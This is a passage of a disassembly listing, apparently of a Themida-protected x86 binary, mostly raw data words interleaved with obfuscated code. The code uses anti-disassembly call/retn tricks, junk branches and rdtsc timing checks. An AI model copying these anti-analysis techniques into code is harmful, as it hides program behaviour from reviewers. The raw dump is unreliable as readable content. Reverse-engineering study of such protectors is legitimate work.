6F7655Dh, 881AC0FDh dd 65AC6064h, 7593E73Ah, 0D9D7A4F2h, 4F9DF1CCh, 4F3BB33Dh dd 0C03A65ACh, 0ACEC980Ch, 1F633A65h, 0D790D3Bh, 823A65ACh dd 9706D4B8h, 0CD99B782h, 3A65ACBBh, 49434256h, 2C31BDA0h dd 2089h, 50BD5700h, 4D817548h, 1DB3D3A3h, 0E132C394h dd 2DD906D4h, 0A407B731h, 0F81FD876h, 0D2h, 0EF1EBD00h dd 520DA56Bh, 9AE2BA54h, 92C95B81h, 90E4640Ah, 42FDD1A5h dd 0B25C560Dh, 9F00A322h, 4D62CBDh, 0A3B08F99h, 6B1F9721h dd 0FC3A610Ch, 0B4D05486h, 3B3A610Ch, 0D02429C7h, 831911E5h dd 54D8156Dh, 3A610C30h, 0FD6F43B7h, 610C1D69h, 0B4A8923Ah dd 0F12E0EA6h, 3901446Ch, 9BB2C233h, 0B95FA451h, 13357EA7h dd 0C06E4204h, 87BEC627h, 0A4FC2933h, 4D2F6F99h, 8802436h dd 74E7FFAh, 18F45E8h, 0CD3ED9F4h, 0B58891C0h, 3EEF7D51h dd 0EA1BD8F5h, 4CA3AC99h, 8392807Dh, 803C087h, 0F2040000h dd 98EF18DBh, 4E5D4AA9h, 0FF07E073h, 0AEF213C0h, 0EEF54C97h dd 29CAF50Fh, 599AA7FCh, 0F66D58ACh, 22310C19h, 0EF9B13D9h dd 60C59A7Bh, 0D5DE2B91h, 0A029146Dh, 0B3977B5Ah, 14608D5Fh dd 50AA5539h, 2C3F7C51h, 5CB452B6h, 3D0C1F8Eh, 72DB7549h dd 0F6A01421h, 0BFC831BCh, 5AAD5882h, 89A79B6Fh, 64B362EEh dd 0E338E155h, 32166ADEh, 0D6032A14h, 282E3241h, 36000000h dd 6C800D6Fh, 0C3941D18h, 0A5B7ABEFh, 9F21B001h, 0F145BDBDh dd 60EF1171h, 0D1DCC43Ah, 35E3123Bh, 3E3F2Ch, 6FD90000h dd 40E4760Dh, 0BD9F364Dh, 0A514F8C2h, 0AAA7F050h, 558EE226h dd 0A46FB8h, 3A60FA44h, 3286BDC5h, 0B01961DEh, 80746861h dd 0DD0F1468h, 6BFF3849h, 9F4DB544h, 0A529286Eh, 0D42CC761h dd 0A4750BDh, 0EAD6E9DCh, 63495292h, 7376EC63h, 0D20145E9h dd 0BC86C394h, 15639258h, 0E66A55AFh, 86FA4EA2h, 5B6E8668h dd 41BD9FCAh, 80744554h, 86A5A24Ch, 6D6A7222h, 74738C73h dd 25127036h, 2C3A1D71h, 0FA140BBBh, 8D26933h, 0E0BAE5E4h dd 0AC106A84h, 6650219Eh, 3147834Ch, 68974770h, 8497D9F3h dd 0E7B751B5h, 0C85C8E95h, 8EEB62B5h, 0FB2A300Ah, 3F4993AEh dd 0FD26D3B7h, 0C06E54EEh, 80BDC627h, 0EEAA7247h, 0EEA1A152h dd 695h, 0AEB58C96h, 0D81B3641h, 76EDDC2Fh, 0A1B28199h dd 0D2013C44h, 9BE17C63h, 494EBFA4h, 0F63EEF74h, 9EEB04DFh dd 0A14BB0A3h, 9A75790Dh, 997FCEC5h, 14F8D5DEh, 0F87B56A5h dd 5877816Ch, 267690F4h, 0EE1FCD56h, 0E024A8A5h, 1000A446h dd 72BD99E0h, 230D91CDh, 5587F780h, 6567B5D1h, 26C03A3Ah dd 8B600A29h, 8FC4602Ch, 405441ABh, 8677DB75h, 6289467Bh dd 99866698h, 617D6A9h dd 0E180000h, 0B4C32C37h, 62B15E85h, 31BF46Fh, 0B2C6273Ch dd 0FAE15083h, 3D261963h, 6DF6CBD0h, 9A597480h, 362D186Dh dd 0FB8F27C5h, 4CC59A75h, 0D6F07FDh, 4C40E476h, 0C3BD99E0h dd 57A20BFFh, 3428ED7Ah, 5FAB8666h, 5CCF8h, 8CBBCF00h dd 526FB657h, 24156481h, 89C8CE3Fh, 5867BD6Ah, 0D6353C9Bh dd 8760F3C2h, 7790437Eh, 20CD1621h, 9079FAD7h, 74B0D458h dd 4837C59Ah, 0E30D6FD0h, 9B41A594h, 99E03B13h, 7ACE34BDh dd 0C5F005F0h, 0CD7222Bh, 0AD1E6A82h, 0A9913A65h, 65AD2D59h dd 0B7CDA23Ah, 0B7B09488h, 86663560h, 66DCB397h, 0A9000005h dd 10FD665Dh, 0FE2F3405h, 0A8459EB3h, 17F06352h, 9221320Dh dd 5568B04Bh, 2518618Eh, 88C7D13Eh, 5C69BA6Bh, 7EF67A87h dd 0C59A740Ah, 0DEB62E9Dh, 0C614F8D5h, 1D5430B4h, 0E7DBC394h dd 1D95F175h, 201AC394h, 0C7F20706h, 0AE93E815h, 62B88880h dd 5C69BA63h, 201D6687h, 91F8E5Ch, 0E4764A3Eh, 941D0440h dd 99B78BC3h, 941DBCCDh, 0DFEA3FC3h, 4471826Bh, 6667BDF0h dd 0C1CC1614h, 68F2CFD8h, 1D3256DEh, 0D8B5C394h, 0C90DF1CCh dd 0FEB83BD5h, 4DE1739Eh, 0C3941D39h, 0C8BCB48Eh, 5FC3941Dh dd 51D5077Bh, 0BD99E071h, 7FF70193h, 3A65AC0Bh, 0DAAEA69Ch dd 0AD3A65ACh, 0A79EE455h, 0F251FFD3h, 66B36288h, 0A1F886Bh dd 0BC8E2D3Fh, 132FF084h, 0EF3BAD85h, 210580E6h, 91EB0307h dd 0AFCC608Ah, 446808h, 0B0C5303Ah, 0F319D5Eh, 574BD11Ch dd 8295008Ch, 63B499B7h, 0F28AE256h, 84718369h, 0CFD417Ch dd 2AD5C9F4h, 27C6F3F6h, 0CC98B6EFh, 4E7C47D1h, 2ED31C66h dd 0C5927F8Ch, 4438A4Dh, 32440000h, 0D82FD81Bh, 8E9D0AE9h dd 3F47A0B3h, 0EE32D300h, 0AEB50CD7h, 0E90A354Fh, 19DAE73Ch dd 0B6AD98ECh, 0E2714C59h, 2F5BD319h, 0A0C59A77h, 0D5DE6BD1h dd 50A514F8h, 0DCA0FE65h, 8C119547h, 0A1BD9F19h, 0ED019359h dd 3A60E799h, 16FA146Eh, 60E7AEDEh, 0EFDA2F3Ah, 5461B21Bh dd 0CEDDACE0h, 0EDC70FF3h, 0E18BAEE0h, 36D0E134h, 729B717Ch dd 5F2C3507h, 39h, 760D6FB9h, 5D140E4h, 0F15EBD9Fh, 782195A8h dd 6AAE122Fh, 86AE1276h, 3A60CBC6h, 0FC048113h, 40340B11h dd 0CB1672FAh, 0A1993A60h, 90B9A34Dh, 0B92C35C6h, 113h dd 23D5DE47h, 0FAE5CEEh, 78EC7E69h, 0C394D80Ch, 0F75BBF83h dd 0C860B865h, 0D8AC80B9h, 0B9C34AE4h, 3E4B3286h, 0C7B68B96h dd 0DB3F83BEh, 0DCC913E7h, 0FE4FF9C4h, 0ED5298B5h, 6453E861h dd 0CA070E4Dh, 2E0246h, 0E238E567h, 0FD2B6FD3h, 94C55A69h dd 0FDC8DDC3h, 0D47C8966h, 3E42CCEh, 0B08B41D8h, 60F2785Ch dd 9484B8CCh, 1DCB0FC3h, 9CA7F535h, 0B33F264Eh, 4AB0BD9Fh dd 0EA9E16A0h, 7D3A619Ah, 2E08EB05h, 8F27354Eh, 446C0C7Eh dd 0EDE93DA2h, 55F21EFBh, 2A1B6F87h, 96EC3073h, 0B5A79B78h dd 9EABFA2Bh, 6A1ED62Ah, 0FD30732Ah, 14816B85h, 0CB98C70Ch dd 506A11D3h, 0C43D4999h, 48B23073h, 1A1E8F54h, 0B072C3Bh dd 7CD68C70h, 2C49Bh, 84B3C700h, 6A67AE5Fh, 3C0D1C89h dd 81B0C627h, 506FB552h, 0CE2D3483h, 0BF688BCAh, 6F985B66h dd 0D8352E19h, 9861F2CFh, 71A8DC50h, 503FC59Ah, 0FBDADEE8h dd 6E4FEC78h, 4C2A460Dh, 65AE9F49h, 6F0D8B68h, 40E4760Dh dd 0BD9F05D1h, 5090645Eh, 3A60CB30h, 0E46867B1h, 63D7E235h dd 5F33B2F6h, 15EFFEBAh, 2C35C6F4h, 0D9DDh, 50BD3B00h dd 4C807445h, 635EABA2h, 0EBEA2E9Fh, 19FCCF67h, 3643C394h dd 0DA2FD81Bh, 79031BEFh, 7B8D78E2h, 0FA72F84Ch, 3C6BE18Eh dd 2BC53901h, 0D6C42D41h, 41B94260h, 0E1E5099Bh, 663A60F4h dd 2571F21Ch, 8C1ECC57h, 60F46C18h, 2E9FE33Ah, 0AF41EFE6h dd 6D642507h, 0EDC2644h, 140211FCh, 2D03F8A1h, 0EC50B408h dd 78BE6FA8h, 0C883D1F6h, 0EAD52F1Eh, 0B9849C09h, 6FFA8FAEh dd 0FC0428Ch, 1D5h, 6EF5CCD6h, 985B7681h, 362D1C6Fh, 61F2C1D9h dd 92417C84h, 0DB213C23h, 898E7FE4h, 367EAFB4h, 0DE2BC41Fh dd 618B70E3h, 9A70B9CDh, 0D9BF0EC5h, 71FBDADEh, 0A8467384h dd 0F8D5DECFh, 9D798372h, 2601EF8Bh, 0BD0165A3h, 0B834AF59h dd 0B7C2862Eh, 7D45C394h, 0D5DE6DD3h, 50A514F8h, 0DCA0FE65h dd 80119547h, 0ADBD9F21h, 0A286BBC0h, 0EF7616DEh, 0F1A33A60h dd 0FEED1CF4h, 6CD32C34h, 56B83604h, 0F075E46h, 0A24363DDh dd 729FB14Eh, 37ABB81Dh, 604019h, 2DD80000h, 0DB41EFDAh dd 76800D6Fh, 941D8AFEh, 2D251DC3h, 0C3941D59h, 6AF0D42Eh dd 0B5536EBBh, 0D02AB33Bh, 0E4034260h, 0B33B0AB6h, 3A605AD7h dd 0FAD56258h, 829861D2h, 7BEB5FB3h, 3A60420Bh, 41CBDADEh dd 6C804354h, 3A604218h, 88B7ABEFh, 0A403FDB9h, 0D34DFB5Bh dd 2C35E73Ah, 2417h, 26A7F100h, 18C3941Dh, 0F96DFF84h dd 0BD9F0B20h, 5A2E46D0h, 2D3A60D0h, 5A702AD5h, 6DBB265Ch dd 0E57E44C3h, 760D6F1Fh, 51AB5AE4h, 4D34C06Eh, 22BD9F24h dd 8CFC74D8h, 593A60E9h, 99C64A5Bh, 5C6BEA41h, 5A9B34Bh dd 3A601B41h, 0E852FCC6h, 2C341341h, 3168h, 0E4768000h dd 60130440h, 0BFB78B3Ah, 3A6013CBh, 0EB92B91Ch, 522D02C6h dd 0B994E168h, 0E157F1D5h, 941D27A7h, 0FE8517C3h, 0B21F86Ch dd 44BEBD9Fh, 0D6F799Fh, 0EA39E476h, 201D66D7h, 0A8C06406h dd 27BD99DFh, 75BE6FD3h, 196A9B58h, 0B88582Ch, 0B365F551h dd 72876C79h, 26739C47h, 0EF9AC12Bh, 0E293BD16h, 93C48024h dd 774B12F4h, 6E5BAA13h, 99E148C0h, 692BD6BAh, 5762B75Ch dd 3B16638Ch, 3F057h, 84180000h, 0FDD4DE9Ch, 7A57A009h dd 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h, 0C5FC02EBh dd 40798871h, 0CFFA0DFCh, 8957CF7Bh, 4C781E7h, 83000000h dd 3C8704EFh, 24248B24h, 747368h, 243C8900h, 81E68956h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 0BE56241Ch, 2A756D36h dd 0EEC1D6F7h, 0EEC14E07h, 67BA5203h, 31063B32h, 0F7895AD6h dd 682B685Eh, 24890000h, 24048124h, 4, 4EC815Bh, 89000000h dd 438F243Ch, 2434FF08h, 4C4815Bh, 8B000000h ; --------------------------------------------------------------------------- cmp al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+0] pop esp jmp loc_543FDB ; --------------------------------------------------------------------------- dw 0C066h dd 0A9359522h, 8F4D8916h db 0C0h, 75h ; --------------------------------------------------------------------------- loc_57303E: ; CODE XREF: sub_570F13:loc_571090j mov eax, 60E6F02h add eax, ebp jmp eax sub_570F13 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0F2h dd 0EA2D9574h, 920F9A25h, 9C3D2625h, 20661F33h, 7A0672ADh dd 3375D8E3h, 0BB128B54h, 2731FB49h, 466646ADh, 0FC694108h dd 0B330CFB7h, 0EB734B1Eh, 4A2AD999h, 1F15CE50h, 302E7BC8h dd 0E857D206h, 0Ah, 0FA809F83h, 7218B42h, 0CCB9348Bh, 587E034Bh dd 0DE996AB9h, 26C08136h, 0BF000063h, 189Dh, 0BE9h, 0E431D100h dd 3E41353Dh, 706DBC21h, 0BA66308Bh, 0C681CD0Dh, 27494D2Fh dd 12E9h, 3ABD2900h, 0DDEF7D57h, 5C1B1CDCh, 6CA522B0h dd 8104D410h, 375B3DEEh, 0EE828h, 0AE230000h, 4CE839B8h dd 0A1F4411h, 83ADDE63h, 815BC3B2h, 630EDEF6h, 89D88A79h dd 15BBA30h, 0E8835424h, 0DE8B6604h, 0D850F4Fh, 8B000000h dd 24E9D8h, 1C0E0000h, 0A22D29ADh, 0EE9h, 5F2A1700h, 407AA748h dd 0C16A8824h, 0E9AC73B6h, 0FFFFFF80h, 8A8E19A5h, 34EB9B5Bh dd 4D534649h, 20205247h, 20444B56h, 20202020h, 204D4D56h dd 20202020h, 4E495756h, 20203233h, 4C445856h, 20205244h dd 3 dup(0) ; --------------------------------------------------------------------------- jmp loc_573988 ; --------------------------------------------------------------------------- clc pusha jz loc_5731A4 jle loc_5731A4 jmp loc_5731A4 ; --------------------------------------------------------------------------- dd 928F2FE5h, 1DECAE0Fh, 53185641h, 0FC221182h, 40A73ECFh ; --------------------------------------------------------------------------- loc_5731A4: ; CODE XREF: Themida_:0057317Fj ; Themida_:00573185j ... jno loc_5731B7 pusha jns $+6 mov ecx, 77C7F964h popa loc_5731B7: ; CODE XREF: Themida_:loc_5731A4j mov dword ptr [ebp+60E70C8h], 0 jge loc_5731E0 jmp loc_5731E0 ; --------------------------------------------------------------------------- dd 0E5CE52EDh, 51A59968h, 0F7625DE4h, 4DC37C37h, 64DE0831h ; --------------------------------------------------------------------------- loc_5731E0: ; CODE XREF: Themida_:005731C1j ; Themida_:005731C7j mov eax, esi push 0 push ebx call sub_5731ED and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5731ED proc near ; CODE XREF: Themida_:005731E5p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5731ED endp ; --------------------------------------------------------------------------- db 0BFh, 0Fh, 0B7h ; --------------------------------------------------------------------------- fsubr dword ptr [edx+0] push edx call sub_57320C and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57320C proc near ; CODE XREF: Themida_:00573204p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_57320C endp ; --------------------------------------------------------------------------- dd 8A0FF51Fh, 13h, 0D890Fh, 8E90000h, 68000000h, 5A2A1807h dd 0C19D0021h, 9E910E8h, 0A4000000h, 2375ACBFh, 5E42BFDAh dd 19800Fh, 14E90000h, 0AC000000h, 0BFDA2375h, 68685E42h dd 0C368EFC2h, 3602CC19h, 66692F6Fh, 6A08C8C1h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 77FDC355h, 4E005C4Bh, 2F018F74h, 56E7B960h, 8961224Dh dd 0E70CC85h, 81F86006h, 9DC0CACAh, 8E0F6134h, 7, 1810Fh dd 66FC0000h, 6A08CBC1h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 6D29C351h, 4AA5783Bh dd 0A954989h, 0B10BBF60h, 816671CEh, 6153B3D9h, 0F40FB83h dd 2D85h, 0BD8DF900h, 60E70A0h, 58D0Fh, 66600000h, 0E961FA8Bh dd 1AEh, 0F8B0FFCh, 0E9000000h, 0Ah, 6A184759h, 20D698B1h dd 0FB835634h, 55850F0Dh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0FDD6C353h dd 98D0Fh, 53600000h, 1CF6BF59h, 8D614021h, 0E70A8BDh dd 0B8D0F06h, 0E9000000h, 6, 0F8466B05h, 47E9F878h, 0E9000001h dd 8, 0BB35AF54h, 9B8C9911h, 0F01FB83h, 7185h, 8E900h dd 0BF490000h, 671DA23Bh, 0BD8D5F91h, 60E70B0h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 5CC35646h, 0FBE9FCF5h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0FFEC355h, 1986h, 14E900h, 58A40000h dd 0C247B3B8h, 41841A64h, 0BA479BFFh, 653F91C7h, 0FB83E95Eh dd 6C850F2Ah, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 0F136C353h, 73E03115h dd 60233196h, 0FDB8166h, 0FAB70F9Eh, 0BD8DF861h, 60E70B8h dd 0FE9F5h, 21AE0000h, 3FA1710Ch, 8E885F5h, 0E789A0BFh dd 68E90Ah, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 83F559C3h, 850F27FBh, 30Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 14C35343h, 33C244FEh dd 0FDE1D83h, 884h, 0D08B6000h, 0BEE3BE66h, 0C0BD8D61h dd 60060E70h, 0FCA8B66h, 8Ah, 0BD896100h, 60E70D0h, 14850Fh dd 0FE90000h, 0CB000000h, 38333106h, 3F8FF292h, 0BCC13093h dd 8C668B0Dh, 55006AC8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 0BFF09E95h, 185E7218h, 10E9h, 0D976FC00h dd 0D200304Ch, 84DDA731h, 776EC1F2h, 6A032402h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0DCEC355h, 0DCE5FA75h, 0F820F04h, 60000000h, 6E962B2h dd 53000000h, 6C88FC5h, 0C00A61E0h, 177850Fh, 0BE90000h dd 0B3000000h, 88D87BE5h, 0ECE0E4DEh, 0B58D098Fh, 60E7768h dd 0CE960h, 64AE0000h, 8AE092C6h, 3AAD1F1Dh, 56579CA7h dd 8B615E58h, 0E782F85h, 10E86006h, 0E000000h, 41B95016h dd 2CBE45DAh, 729D8C1Bh, 8BDD7211h, 0C88159D7h, 76025AEAh dd 57609261h, 535ABDB4h, 12E9h, 9EED7300h, 59960B18h, 434644F2h dd 0D66AB7EEh, 5EF64F42h, 10E95061h, 8000000h, 2FF44518h dd 863B23E4h, 5F6EB957h, 9203326Ch, 0D0B0F560h, 4C010F61h dd 8F0FFE24h, 9, 66616060h, 47A7C981h, 6A5A61h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 600813C3h, 26F7CBD1h, 1840F71h, 0F5000000h, 24C283F5h dd 0FE9h, 0A7485F00h, 8824407Ah, 73B6C16Ah, 6763C9ACh dd 0C890Fh, 8E0F0000h, 6, 8F0Fh, 89660000h, 6AFC72h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0DA1052C3h, 60E9D1AEh, 0D13BBB66h, 0F4A602BFh, 0C1F5612Ah dd 0F6010CEh, 18Fh, 61F8FC00h, 2728966h, 9E9h, 14447800h dd 4640CC97h, 4CD8537h, 18E0FF8h, 0F9000000h, 0B1E9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0F8C4BA72h, 2F858BD6h, 6A060E78h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 1500C357h dd 18F78060h, 3EB8166h, 666061D2h, 0F5DF6CB8h, 68B58D61h dd 6A060E77h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 73F1C357h, 0E90874D1h, 6, 1963BB2Fh dd 858D3C2Ch, 60E4D7Eh, 85BE6660h, 0D0FF6178h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D5C35343h, 8589F9F9h dd 60E70C8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 0EDC35343h, 37113154h, 61431866h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Bh, 9AC35040h, 400BD282h dd 0FD432CFh, 1A86h, 148D0F00h, 0E9000000h, 0Fh, 0C7DB57E8h dd 16142A8h, 75C32409h, 8B2D0E50h, 0E70C885h, 820F6006h dd 16h, 10E8h, 0B6797700h, 0D7A6275Bh, 0BAE3F8E7h, 0F31ACD6Bh dd 8B665806h, 0E9C361F0h, 11h, 0C3F1DCA0h, 0F8D29130h dd 89A73A4h, 76C219E1h, 18C0F57h, 0F9000000h, 8B0F6060h dd 2, 5E9F08Bh, 3000000h, 48E3A63Bh, 2FBD8361h, 60E78h dd 8E850Fh, 0E8600000h, 6, 763AD26Bh, 8B0FE6FFh, 0 dd 0EE85Ah, 0EF960000h, 0FA118AFCh, 8D6D5379h, 3EF9ACC3h dd 5EC8BF0Fh, 85C7F861h, 60E782Fh, 1013Fh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 79C35747h, 0A8C983FFh dd 730F2D04h, 7E960h, 1C3E0000h, 520168FDh, 0BE81Ah, 90150000h dd 87101576h, 0A502D5FEh, 0FE98Ch, 4F760000h, 925D145Ah dd 0BD3C6A25h, 0D126D72Fh, 0FC615891h, 10E9h, 0A890F00h dd 0E9000000h, 5, 72A9C942h, 20CD45h, 0B000000h, 8D3774C0h dd 0BD8B0C70h, 60E70D0h, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h dd 60E70CCh, 7F34583Bh, 6BD38B15h, 0CA0304D2h, 8589018Bh dd 60E70C8h, 8B04EBh, 8B61C5EBh, 0E70C885h, 6ACF06h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h dd 1B24A1C3h, 880FBBC4h, 0Eh, 9E9h, 49A11300h, 48AA617Dh dd 8F0F1F08h, 7, 18A0Fh, 6AF80000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 4743C356h dd 8B0F5052h, 8, 0CFB70F60h, 61BAEF80h ; --------------------------------------------------------------------------- loc_573988: ; CODE XREF: Themida_:00573178j mov eax, eax jmp loc_573D8F ; --------------------------------------------------------------------------- align 10h dd 33000000h, 69206E41h, 7265746Eh, 206C616Eh, 65637865h dd 6F697470h, 636F206Eh, 65727563h, 41282064h, 65726464h dd 203A7373h, 78257830h, 500D0A29h, 7361656Ch, 63202C65h dd 61746E6Fh, 73207463h, 6F707075h, 6F407472h, 6E616572h dd 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h, 21h, 0E3h dup(0) dd 56000000h, 45000000h, 0 db 3 dup(0) ; --------------------------------------------------------------------------- loc_573D8F: ; CODE XREF: Themida_:0057398Aj jmp loc_574FC3 ; --------------------------------------------------------------------------- push 0 push ecx call sub_573D9F and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_573D9F proc near ; CODE XREF: Themida_:00573D97p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_573D9F endp ; --------------------------------------------------------------------------- db 5 dd 7E3C7D92h, 8D8904EEh, 60B212Dh, 194D858Bh, 6A060Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 1AA3FFC3h, 25BD8969h, 0F9060B0Dh, 9E9h, 79A00F00h, 0F618C359h dd 4439B1D3h, 850F0424h, 0A5h, 0E599D89h, 0BD83060Bh, 60B0DB1h dd 92840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 0C1FC353h, 602A9497h dd 0FDA8B60h, 8Bh, 6E96100h, 0DA000000h, 70AC4C15h, 858D614Bh dd 60B390Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0C5C35141h, 0BEFB35EFh, 0FF43DC0Ah, 50006AE0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0EE921B1h, 0F6000000h, 0E0963092h, 0FBEEFFAEh, 6DA4F279h dd 15858B88h, 6A060B03h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 17042444h, 46000000h, 74AEC356h, 4439642Fh dd 850F0424h, 0Ch, 0E785C7F5h, 1060E7Ch, 0F5000000h, 51006A60h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0CE92778h, 32000000h, 0DF1F7FFCh, 79D5EFE5h, 0E95D4744h dd 28h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h dd 7AC35141h, 0B5296C01h, 60B3319h, 0 dd 1B8h db 0 ; --------------------------------------------------------------------------- loc_573F41: ; CODE XREF: Themida_:00573F49j xchg eax, [ebp+60E7E94h] or eax, eax jnz short loc_573F41 push dword ptr [ebp+60B2845h] pop dword ptr [ebp+60E7CDFh] push 20h push 0FFFFFFFFh call dword ptr [ebp+60B1BBDh] cmp dword ptr [ebp+60B2301h], 0 jz short loc_573F72 push 0 call dword ptr [ebp+60B32DDh] loc_573F72: ; CODE XREF: Themida_:00573F68j cmp dword ptr [ebp+60B1611h], 1 jz short loc_573F88 push 80h push 0FFFFFFFFh call dword ptr [ebp+60B1BBDh] loc_573F88: ; CODE XREF: Themida_:00573F79j pusha movzx eax, bx call sub_573F9F mov edi, 5FBA6FDBh pop eax sub eax, 787A6F1Bh dec edx ; --------------------------------------------------------------------------- db 6Eh, 0AAh ; =============== S U B R O U T I N E ======================================= sub_573F9F proc near ; CODE XREF: Themida_:00573F8Cp arg_48 = dword ptr 4Ch mov ebx, [ebp+60B0C05h] pop esi popa jmp loc_573FBE ; --------------------------------------------------------------------------- dd 38137D73h, 1C566DF2h, 28034F95h, 6F762ABCh db 0EFh, 0BFh ; --------------------------------------------------------------------------- loc_573FBE: ; CODE XREF: sub_573F9F+8j mov eax, 0 jns loc_573FCF xor [ebp+60B0F59h], edx loc_573FCF: ; CODE XREF: sub_573F9F+24j mov edx, [esp-24h+arg_48] add [ebp+60B32E5h], edx mov [ebp+60B05E9h], eax pusha jz loc_573FE8 push ecx pop edi loc_573FE8: ; CODE XREF: sub_573F9F+41j mov [ebp+60B193Dh], ecx popa mov esi, 3Ch push 0 push esi call sub_573FFF and [esi-3Dh], bl sub_573F9F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_573FFF proc near ; CODE XREF: sub_573F9F+58p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_573FFF endp ; --------------------------------------------------------------------------- popa push 0D1A0F775h mov ecx, [esi] jbe short loc_574084 mov [ebp+60B3211h], ebx add esi, [esp+24h] sub [ebp+60B2359h], ebx lodsw xor [ebp+60B335Dh], eax add eax, [esp+24h] jmp loc_57404E ; --------------------------------------------------------------------------- dw 66EBh dd 8CD936F4h, 429F355Bh, 0EB23947Eh, 4929611Ah db 0F5h, 0EFh ; --------------------------------------------------------------------------- loc_57404E: ; CODE XREF: Themida_:00574035j nop pusha mov esi, 4AFB4811h popa push eax jmp loc_574067 ; CODE XREF: Themida_:005740CAj ; --------------------------------------------------------------------------- dd 96A9B5B3h, 5886D2DFh db 7Ah, 3Bh, 0DFh ; --------------------------------------------------------------------------- loc_574067: ; CODE XREF: Themida_:00574057j nop push 0 push edi call sub_574073 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_574073 proc near ; CODE XREF: Themida_:0057406Bp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_574073 endp ; --------------------------------------------------------------------------- db 36h ; --------------------------------------------------------------------------- loc_574084: ; CODE XREF: Themida_:00574017j lahf pop ebp mov ebx, 78408BB9h mov [ebp+60B2061h], esi cmc cmp dword ptr [ebp+60E7CE7h], 0 jnz loc_5741C1 jle loc_5740AB sub [ebp+60B32B9h], edx loc_5740AB: ; CODE XREF: Themida_:0057409Fj nop jbe loc_5740BA jns loc_5740BA pusha popa loc_5740BA: ; CODE XREF: Themida_:005740ACj ; Themida_:005740B2j push eax push eax push edx pusha mov eax, 2A8F005h call sub_5740D5 stosb dec ecx jo short near ptr loc_574057+3 inc ebx mul byte ptr [esi+esi*2] mov cl, 0CCh fisub dword ptr [edx-22h] ; =============== S U B R O U T I N E ======================================= sub_5740D5 proc near ; CODE XREF: Themida_:005740C3p pop ecx popa rdtsc jmp loc_5740E3 ; --------------------------------------------------------------------------- dw 80FFh ; --------------------------------------------------------------------------- sbb ch, [eax+44h] loc_5740E3: ; CODE XREF: sub_5740D5+4j pop edx pop eax nop push 0 push ecx call sub_5740F1 and [ecx-3Dh], bl sub_5740D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5740F1 proc near ; CODE XREF: sub_5740D5+14p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5740F1 endp ; --------------------------------------------------------------------------- db 8Dh, 20h, 5 dd 0BD01FF24h, 60B2711h, 2C24448Bh, 8E860h, 0C7BB0000h dd 0B0E3CEC8h, 0AE9D5A3h, 8B000000h, 582FF72h, 21CED6CEh dd 13E95AACh, 53000000h, 364B4158h, 676DDD46h, 754C6C61h dd 8E1694C3h, 50619B09h, 11E9h, 34B1C00h, 60E13144h, 88CCDF70h dd 0F509CA2h, 4897B7Ch, 8E924h, 158C0000h, 0B8C7EB2Eh dd 858DC5E8h, 60E4E0Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 